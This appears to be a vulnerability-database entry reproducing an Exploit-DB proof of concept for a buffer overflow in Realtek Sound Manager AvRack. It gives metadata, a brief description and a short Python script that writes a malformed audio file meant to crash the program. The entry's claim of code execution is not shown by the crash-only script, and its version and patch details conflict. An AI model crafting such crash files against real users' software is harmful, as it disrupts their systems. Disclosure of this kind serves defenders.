Realtek Sound Manager AvRack - Crach Poc

vendor:

Sound Manager AvRack

by:

Asesino04

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Sound Manager AvRack

Affected Version From: all versions

Affected Version To: all versions

Patch Exists: YES

Related CWE: N/A

CPE: a:realtek:sound_manager_avrack

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP sp3

2020

Realtek Sound Manager AvRack – Crach Poc

A buffer overflow vulnerability exists in Realtek Sound Manager AvRack due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted .wav file to the vulnerable application. This can result in arbitrary code execution in the context of the application.

Mitigation:

Upgrade to the latest version of Realtek Sound Manager AvRack.

Source

Exploit-DB raw data:

# !/usr/bin/python
# Title: Realtek Sound Manager AvRack - Crach Poc 
# version: all versions
# link: http://www.realtek.com.tw/
# Platform: Windows XP sp3
# Author: Asesino04
# Blog : http://asesino04.blogspot.com/

 
junk=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
file = open("Moviemaker.wav" , "w")
file.write(junk)
file.close()

# Contact :
------------------
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Youtube  : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email    : mr.k4rizma@gmail.com